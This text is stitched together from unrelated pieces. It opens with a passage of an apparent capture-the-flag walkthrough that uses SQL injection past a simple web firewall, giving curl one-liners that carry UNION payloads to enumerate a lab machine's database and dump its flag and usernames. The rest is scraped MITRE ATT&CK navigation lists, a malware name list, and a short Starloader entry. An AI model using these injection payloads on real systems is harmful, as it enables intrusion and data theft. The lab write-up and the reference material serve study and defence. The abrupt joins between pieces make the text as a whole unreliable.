ippsec';-- - (which seems incredibly unlikely), or if I’ve successfully injected. “WAF” This took me a bit longer to find because there’s some light filtering going on, likely to break sqlmap, but in a way that would not be an unrealistic implementation of a basic web application firewall (WAF). For example, it seems that 0x actually triggers the WAF: You can see that the same query that returned not elligible is now returning that the user can play, with only a change after the comment. That means that something is looking at the entire string and filtering it. In theory, I could send player=df' or 1=1;-- - and get rows back, but it doesn’t work: It also doesn’t include the challenge link, which lines up with other cases where I’m being filtered. Just having “ or “ in the string triggers the filtering/WAF: UNION Injection Detection In the example above, not only does it return data showing I successfully manipulated the SQL query, but it also displays back the name “ippsec”, not “ippsec’;– -“. That means what’s being displayed back when the username is found is the username from the database, not the username from the input (though from the developer’s point of view, those two would be the same). That means I can do a UNION injection to read data: More interestingly: One Liner I’ll use this Bash one liner to query the DB: curl -s -X POST http://10.10.11.128 -d "player=' union select user();-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//' echo This will get the result I’m looking for and remove the constant data that I don’t want. The extra echo is just to put a newline on the end. oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select user();-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo uhc@localhost DB Enumeration There are five databases on the host, but really only november is interesting: oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.schemata;-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo mysql,information_schema,performance_schema,sys,november The november DB has two tables: oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema='november';-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo flag,players Interestingly, each table only has one column: oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(table_name, ':', column_name) from INFORMATION_SCHEMA.columns where table_schema='november';-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo flag:one,players:player I can grab the flag: oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(one) from flag;-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo UHC{F1rst_5tep_2_Qualify} And also the list of users: oxdf@parrot$ curl -s -X POST http://10.10.11.128 -d "player=' union select group_concat(player) from players;-- -" | sed 's/Sorry, //' | sed 's/ you are not eligible due to already qualifying.//'; echo ippsec,celesian,big0us,luska,tinyboy Enter Flag With the flag, I can enter it on challenge.php: Where only 80 was open on initial nmap, now 22 is open as well: oxdf@parrot$ nmap -p 22 10.10.11. Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-19 16:14 EST Nmap scan report for 10.10.11. Host is up (0.089s latency). PORT STATE SERVICE 22/tcp open ssh Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds Also interesting, that POST request
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2021_11_22_htb-union.html.txt
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Currently viewing ATT&CK v9.0 which was live between April 29, 2021 and October 20, 2021. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Rogue Domain Controller Rootkit Signed Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query
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versions_v9_techniques_T1513.txt
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Currently viewing ATT&CK v5.2 which was live between July 31, 2019 and October 23, 2019. Learn more about the versioning system or see the live site. Register to stream ATT&CKcon 2.0 October 29- SOFTWARE Overview 3PARA RAT 4H RAT adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android Overlay Malware Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dyre Ebury Elise ELMER Emissary Emotet Empire Epic EvilBunny EvilGrab Exaramel Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FLIPSIDE Forfiles FruitFly FTP Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon Gooligan GravityRAT GreyEnergy gsecdump H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid MacSpy Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor RIPTIDE ROCKBOOT RogueRobin ROKRAT route Rover RTM Ruler RuMMS RunningRAT S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN Volgmer WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell Overview 1- 3PARA RAT 4H RAT A-B adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android Overlay Malware Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP C-D Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic EvilBunny EvilGrab Exaramel Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FLIPSIDE Forfiles FruitFly FTP G-H Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon Gooligan GravityRAT GreyEnergy gsecdump H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid M-N MacSpy Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor RIPTIDE ROCKBOOT RogueRobin ROKRAT route Rover RTM Ruler RuMMS RunningRAT S-T S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN Volgmer W-X WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Y-Z Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell - Home - Software - Starloader Starloader Starloader is a loader component that has been observed loading Felismus and associated tools. [1] ID: S Type: MALWARE Platforms: Windows Contributors: Alan Neville, @abnev Version: 1. ATT&CK™ Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T Deobfuscate/Decode Files or Information Starloader decrypts and executes shellcode from a file called Stars.jps. [1] Enterprise T Masquerading Starloader has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel. [1] Groups That Use This Software ID Name References G Sowbug [1] References - Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.
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versions_v5_software_S0188.txt
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Currently viewing ATT&CK v11.3 which was live between April 25, 2022 and October 24, 2022. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Wordlist Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange XPC Services Native API Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Additional Email Delegate Permissions Additional Cloud Roles SSH Authorized Keys Device Registration BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell IIS Components Terminal Services DLL Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Login Hook Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking ListPlanting Scheduled Task/Job At Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Debugger Evasion Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Email Hiding Rules Resource Forking Process Argument Spoofing Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER KernelCallbackTable Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Safe Mode Boot Downgrade Attack Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Double File Extension Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Reversible Encryption Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools HTML Smuggling Plist File Modification Pre-OS Boot System Firmware Component 